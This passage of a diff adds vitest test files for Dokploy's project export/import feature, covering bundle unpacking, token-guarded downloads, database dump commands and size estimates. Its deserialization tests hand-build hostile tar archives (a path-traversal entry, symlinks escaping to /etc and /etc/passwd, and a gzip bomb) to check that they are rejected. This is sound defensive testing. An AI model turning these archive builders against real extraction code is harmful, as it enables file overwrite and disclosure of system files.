environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [], findFirst: async () => undefined },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const ustarHeader = (name: string, size: number): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${size.toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("0", 156, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildMaliciousTarGz = (entryName: string, content: Buffer): Buffer => {
const header = ustarHeader(entryName, content.length);
const padded = Buffer.concat([
content,
Buffer.alloc((512 - (content.length % 512)) % 512),
]);
const archive = Buffer.concat([header, padded, Buffer.alloc(1024)]);
return gzipSync(archive);
};
const ustarSymlinkHeader = (name: string, linkTarget: string): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${(0).toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("2", 156, "utf8");
header.write(linkTarget, 157, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildSymlinkTarGz = (entryName: string, linkTarget: string): Buffer => {
const header = ustarSymlinkHeader(entryName, linkTarget);
const archive = Buffer.concat([header, Buffer.alloc(1024)]);
return gzipSync(archive);
};
let workDir: string;
let outDir: string;
let bundlePath: string;
const buildBundle = async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
};
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-deser-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-deser-out-"));
bundlePath = join(outDir, "bundle.dokploy.tar.gz");
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("deserialize: inspectBundle + unlockBundle", () => {
it("round-trips the exact snapshot through inspect + unlock", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
const inspected = await inspectBundle(
local(bundlePath),
local(extractDir),
);
expect(inspected.manifest.sourceInstance.organizationId).toBe("org-1");
expect(inspected.inventory.totals.application).toBe(1);
expect(Array.isArray(inspected.requirements)).toBe(true);
expect(Array.isArray(inspected.warnings)).toBe(true);
expect(existsSync(join(extractDir, "resources"))).toBe(false);
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
expect(unlocked.snapshot.manifest).toEqual(inspected.manifest);
expect(existsSync(join(extractDir, "payload.enc"))).toBe(false);
expect(existsSync(join(extractDir, "secrets.json"))).toBe(false);
expect(unlocked.snapshot.resources.project).toMatchObject({
projectId: "project-1",
name: "my-project",
});
expect(unlocked.snapshot.resources.environments).toHaveLength(1);
const decryptedValues = Array.from(unlocked.secretsPlain.values());
expect(decryptedValues).toContain("realdbpassword123");
} finally {
await rm(extractDir, { recursive: true, force: true });
}
}, 30_000);
it("throws TransferCryptoError on a wrong passphrase", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
await expect(
unlockBundle(local(extractDir), "totally-wrong-passphrase-here"),
).rejects.toThrow(TransferCryptoError);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("throws TransferCryptoError when the encrypted payload is tampered with", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
const payloadPath = join(extractDir, "payload.enc");
const bytes = await readFile(payloadPath);
const middle = Math.floor(bytes.length / 2);
bytes[middle] = (bytes[middle] ?? 0) ^ 0xff;
await writeFile(payloadPath, bytes);
await expect(unlockBundle(local(extractDir), PASSPHRASE)).rejects.toThrow(
TransferCryptoError,
);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a tar entry that attempts path traversal", async () => {
const maliciousBundle = join(outDir, "evil.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildMaliciousTarGz("../../etc/evil-payload", Buffer.from("evil")),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-evil-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe path/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a gzip bomb before extracting anything", async () => {
const bomb = join(outDir, "bomb.dokploy.tar.gz");
await writeFile(
bomb,
buildMaliciousTarGz("manifest.json", Buffer.alloc(1024 * 1024)),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-bomb-"),
);
try {
await expect(
inspectBundle(local(bomb), local(extractDir), {
maxDecompressedBytes: 64 * 1024,
}),
).rejects.toThrow(/decompressed size/);
expect(existsSync(join(extractDir, "manifest.json"))).toBe(false);
// A post-extraction failure removes the directory; the pre-check never touches it.
expect(existsSync(extractDir)).toBe(true);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects an escaping symlink even when its name contains a tab", async () => {
const maliciousBundle = join(outDir, "evil-tab-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("x\ty", "../../../../etc"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-tab-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a symlink entry whose target escapes workDir", async () => {
const maliciousBundle = join(outDir, "evil-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("innocuous-name.txt", "../../../../etc/passwd"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-symlink-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
});
@@ -0,0 +1,316 @@
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough, Readable } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { errorPathBox } = vi.hoisted(() => ({ errorPathBox: { value: "" } }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (errorPathBox.value && command.includes(errorPathBox.value)) {
const stdout = new Readable({ read() {} });
process.nextTick(() => {
stdout.emit("error", new Error("simulated read failure"));
});
return {
stdin: new PassThrough(),
stdout,
stderr: new PassThrough(),
exit: Promise.resolve(1),
close: () => {},
};
}
return actual.openProcessStream(serverId, command);
},
};
},
);
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const {
createExportJob,
issueDownloadToken,
updateExportJob,
peekDownloadToken,
assertTransferPermission,
} = await import("@dokploy/server/services/project-export-import");
const handler = (
await import("../../pages/api/project-export-import/download/[token]")
).default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-download-route-"));
errorPathBox.value = "";
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildReq = (
method: string,
token: string,
): { method: string; query: { token: string } } => ({
method,
query: { token },
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
setHeader: (key: string, value: unknown) => void;
headers: Record<string, unknown>;
} & PassThrough;
stream.statusCode = 200;
stream.headers = {};
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
stream.setHeader = vi.fn((key: string, value: unknown) => {
stream.headers[key] = value;
});
return stream;
};
const drain = (stream: PassThrough): Promise<Buffer> =>
new Promise((resolve, reject) => {
const chunks: Buffer[] = [];
stream.on("data", (chunk) => chunks.push(chunk as Buffer));
stream.on("end", () => resolve(Buffer.concat(chunks)));
stream.on("error", reject);
});
describe("transfer download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildReq("GET", "any-token");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects an unknown token", async () => {
const req = buildReq("GET", "does-not-exist");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
it("rejects a non-owner/admin caller with a valid, same-org token", async () => {
const job = createExportJob("export-forbidden-1", "user-1", "org-1");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-forbidden-1") as string;
(assertTransferPermission as any).mockRejectedValueOnce(
new (await import("@trpc/server")).TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
}),
);
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(403);
expect(assertTransferPermission).toHaveBeenCalled();
});
it("rejects a token belonging to another organization", async () => {
const job = createExportJob("export-1", "user-1", "org-2");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
it("streams the bundle and invalidates the token on success, keeps it valid on failure retries", async () => {
const bundlePath = join(root, "bundle.tar.gz");
const content = Buffer.from(
"fake bundle bytes, could be large in real life",
);
await writeFile(bundlePath, content);
createExportJob("export-2", "user-1", "org-1");
updateExportJob("export-2", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-2") as string;
const req = buildReq("GET", token);
const res = buildRes();
const [, received] = await Promise.all([
handler(req as any, res as any),
drain(res),
]);
expect(received.equals(content)).toBe(true);
expect(res.headers["Content-Type"]).toBe("application/gzip");
expect(res.headers["Content-Length"]).toBe(content.length);
expect(String(res.headers["Content-Disposition"])).toContain(
"bundle.tar.gz",
);
await new Promise((resolve) => setTimeout(resolve, 10));
expect(peekDownloadToken(token)).toBeUndefined();
});
it("keeps the token valid when the connection closes before the download finishes", async () => {
const bundlePath = join(root, "bundle-disconnect.tar.gz");
await writeFile(bundlePath, Buffer.alloc(1024 * 1024, 7));
createExportJob("export-disconnect-1", "user-1", "org-1");
updateExportJob("export-disconnect-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-disconnect-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.once("data", () => {
res.destroy();
});
await handler(req as any, res as any);
expect(peekDownloadToken(token)).toBeDefined();
});
it("destroys the response instead of hanging when the source stream errors mid-read", async () => {
const bundlePath = join(root, "bundle-error.tar.gz");
await writeFile(bundlePath, Buffer.from("will never actually be read"));
errorPathBox.value = bundlePath;
createExportJob("export-error-1", "user-1", "org-1");
updateExportJob("export-error-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-error-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.destroyed).toBe(true);
});
it("rejects a GET with a non-string token param", async () => {
const req = { method: "GET", query: { token: ["a", "b"] } };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
});
it("rejects non-GET methods", async () => {
const req = buildReq("POST", "whatever");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("does not buffer the whole file into memory while streaming a large bundle", async () => {
const bundlePath = join(root, "large-bundle.tar.gz");
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const { open } = await import("node:fs/promises");
const handle = await open(bundlePath, "w");
for (let i = 0; i < chunkCount; i++) {
await handle.write(chunk);
}
await handle.close();
createExportJob("export-large", "user-1", "org-1");
updateExportJob("export-large", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-large") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.resume();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(
req as unknown as Parameters<typeof handler>[0],
res as unknown as Parameters<typeof handler>[1],
);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(grew).toBeLessThan((chunkSize * chunkCount) / 2);
});
});
@@ -0,0 +1,550 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildComposeDumpCommand,
buildDumpCommand,
createDumps,
MAX_EMBEDDED_DUMP_BYTES,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
describe("buildDumpCommand", () => {
it("builds a postgres dump command using databaseName/databaseUser", () => {
const built = buildDumpCommand("postgres", {
appName: "pg-one",
databaseName: "mydb",
databaseUser: "myuser",
});
expect(built?.ext).toBe("sql.gz");
expect(built?.containerSearch).toContain("pg-one");
expect(built?.command).toContain("pg_dump");
expect(built?.command).toContain("mydb");
});
it("builds a mysql dump command using databaseRootPassword", () => {
const built = buildDumpCommand("mysql", {
appName: "mysql-one",
databaseName: "mydb",
databaseRootPassword: "rootpass",
});
expect(built?.command).toContain("mysqldump");
expect(built?.command).toContain("rootpass");
});
it("builds a mariadb dump command using databaseUser + databasePassword", () => {
const built = buildDumpCommand("mariadb", {
appName: "maria-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.command).toContain("mariadb-dump");
});
it("builds a mongo dump command", () => {
const built = buildDumpCommand("mongo", {
appName: "mongo-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.ext).toBe("archive.gz");
expect(built?.command).toContain("mongodump");
expect(built?.command).toContain("--archive --gzip");
expect(built?.command).not.toContain("-d ");
});
it("builds a libsql dump command over sqld's iku.db data directory", () => {
const built = buildDumpCommand("libsql", { appName: "libsql-one" });
expect(built?.ext).toBe("tar.gz");
expect(built?.command).toContain("iku.db");
expect(built?.command).not.toContain("libsql-one");
});
it("returns undefined for a non-dumpable service type", () => {
expect(buildDumpCommand("redis", { appName: "redis-one" })).toBeUndefined();
expect(
buildDumpCommand("application", { appName: "app-one" }),
).toBeUndefined();
});
});
describe("buildComposeDumpCommand", () => {
it("builds from metadata.mariadb when databaseType is mariadb", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: { mariadb: { databaseUser: "u", databasePassword: "p" } },
});
expect(built?.command).toContain("mariadb-dump");
expect(built?.containerSearch).toContain("stack-one");
});
it("returns undefined when the matching metadata block is missing", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mongo",
metadata: {},
});
expect(built).toBeUndefined();
});
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [],
};
const buildTree = (
postgres: Record<string, unknown>[],
redis: Record<string, unknown>[] = [],
) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres,
redis,
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
deployments: { findMany: async () => [] },
backups: { findFirst: async () => undefined },
...overrides,
},
}) as any as TransferDb;
let workDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-dumps-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
});
describe("createDumps / embed mode", () => {
it("writes a dump per dumpable service via the injected runDump and records its size", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(100, 1));
},
},
);
expect(warnings).toHaveLength(0);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
]);
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(true);
});
it("notes that admin users are not restored for a mongo dump", async () => {
const tree = buildTree([]);
tree.environments[0]!.mongo = [
{
mongoId: "mongo-1",
appName: "mongo-one",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
] as any;
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(10, 1));
},
},
);
expect(dumps).toHaveLength(1);
expect(warnings.map((w) => w.code)).toEqual([
"MONGO_ADMIN_USERS_NOT_RESTORED",
]);
});
it("skips redis (no dump mechanism)", async () => {
const tree = buildTree(
[],
[
{
redisId: "redis-1",
appName: "redis-one",
serverId: null,
backups: [],
},
],
);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(0);
});
it("does nothing when dumps.mode is none", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "none" } },
local(workDir),
{
runDump: async () => {
throw new Error("should not be called");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
it("emits DUMP_SKIPPED_TOO_LARGE and deletes the file when over the byte limit", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => {
const { open } = await import("node:fs/promises");
const handle = await open(localPath.path, "w");
await handle.truncate(MAX_EMBEDDED_DUMP_BYTES + 1);
await handle.close();
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_SKIPPED_TOO_LARGE");
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(false);
});
it("emits DUMP_FAILED and doesn't add a dumps entry when runDump throws", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("pg_dump: connection refused");
},
},
);
expect(dumps).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_FAILED");
expect(warnings[0]?.message).toContain("pg-one");
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "pg-1" }),
);
});
it("emits COMPOSE_DUMP_NOT_RESTORABLE for a compose backup", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(1);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("COMPOSE_DUMP_NOT_RESTORABLE");
expect(warnings[0]?.affected).toEqual([
{
serviceId: "compose-1",
serviceType: "compose",
serviceName: "stack-one",
environmentId: "env-1",
},
]);
expect(dumps[0]?.serviceId).toBe("compose-1");
expect(dumps[0]?.mode).toBe("embed");
expect(dumps[0]?.mode === "embed" ? dumps[0].path : undefined).toContain(
"backup-1",
);
});
it("does not emit COMPOSE_DUMP_NOT_RESTORABLE when the compose dump itself fails", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("Container not found");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings.map((warning) => warning.code)).toEqual(["DUMP_FAILED"]);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
});
describe("createDumps / referenceLastBackup mode", () => {
it("references the destination + key prefix of the latest successful backup", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const db = fakeDb({
deployments: {
findMany: async () => [{ backupId: "backup-1", status: "done" }],
},
backups: {
findFirst: async () => ({
backupId: "backup-1",
destinationId: "dest-1",
prefix: "/nightly/",
}),
},
});
const { dumps } = await createDumps(
db,
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "referenceLastBackup",
destinationId: "dest-1",
keyPrefix: "pg-one/nightly/",
},
]);
});
it("skips a service with no successful backup deployment", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toHaveLength(0);
});
});
@@ -0,0 +1,118 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import {
buildDatabaseSizeCommand,
buildDirectorySizeCommand,
estimateSizes,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
],
compose: [
{ composeId: "c-1", appName: "compose-one", serverId: "srv-1" },
],
postgres: [
{
postgresId: "pg-1",
appName: "pg-one",
serverId: null,
databaseName: "mydb",
databaseUser: "me",
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [{ redisId: "r-1", appName: "redis-one", serverId: null }],
libsql: [],
},
],
};
const pathsFn = (isServer = false) =>
({
APPLICATIONS_PATH: isServer ? "/remote/apps" : "/local/apps",
COMPOSE_PATH: isServer ? "/remote/compose" : "/local/compose",
}) as never;
describe("estimateSizes", () => {
it("sums database and file sizes, keyed to the right server and path", async () => {
const calls: [string | null, string][] = [];
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async (serverId, command) => {
calls.push([serverId, command]);
if (command.includes("pg_database_size")) return "1048576\n";
if (command.includes("/remote/compose/compose-one")) return "2048";
if (command.includes("/local/apps/app-one")) return "4096";
throw new Error("unexpected");
},
});
expect(sizes).toEqual({
estimatedDumpBytes: 1048576,
estimatedFilesBytes: 6144,
});
expect(calls.map(([serverId]) => serverId)).toEqual([null, null, "srv-1"]);
expect(calls.some(([, c]) => c.includes("redis"))).toBe(false);
});
it("counts a failing probe as zero instead of failing the preview", async () => {
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async () => {
throw new Error("container not running");
},
});
expect(sizes).toEqual({ estimatedDumpBytes: 0, estimatedFilesBytes: 0 });
});
});
describe("size command builders", () => {
it("passes database credentials as env vars, never inside the container script", () => {
const command = buildDatabaseSizeCommand("mariadb", {
appName: "db-one",
databaseName: "shop",
databaseUser: "shop",
databasePassword: "s3cret'quote",
}) as string;
const [outer, inner] = command.split(" sh -c ");
expect(outer).toContain("-e DB_PASS=");
expect(inner).toContain('--password="$DB_PASS"');
expect(inner).not.toContain("s3cret");
expect(inner).not.toContain("\\$");
});
it("has no size probe for redis", () => {
expect(buildDatabaseSizeCommand("redis", { appName: "x" })).toBeUndefined();
});
it("quotes the directory path", () => {
expect(buildDirectorySizeCommand("/etc/dokploy/apps/my app")).toBe(
"du -sk '/etc/dokploy/apps/my app' | awk '{print $1*1024}'",
);
});
});
@@ -0,0 +1,348 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelExport,
cleanupExpiredExports,
createExportJob,
getExportJob,
runExport,
runExportBatch,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-export-job-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
PROJECT_EXPORT_IMPORT_PATH: join(root, "transfer"),
});
const emptyProjectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => emptyProjectTree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
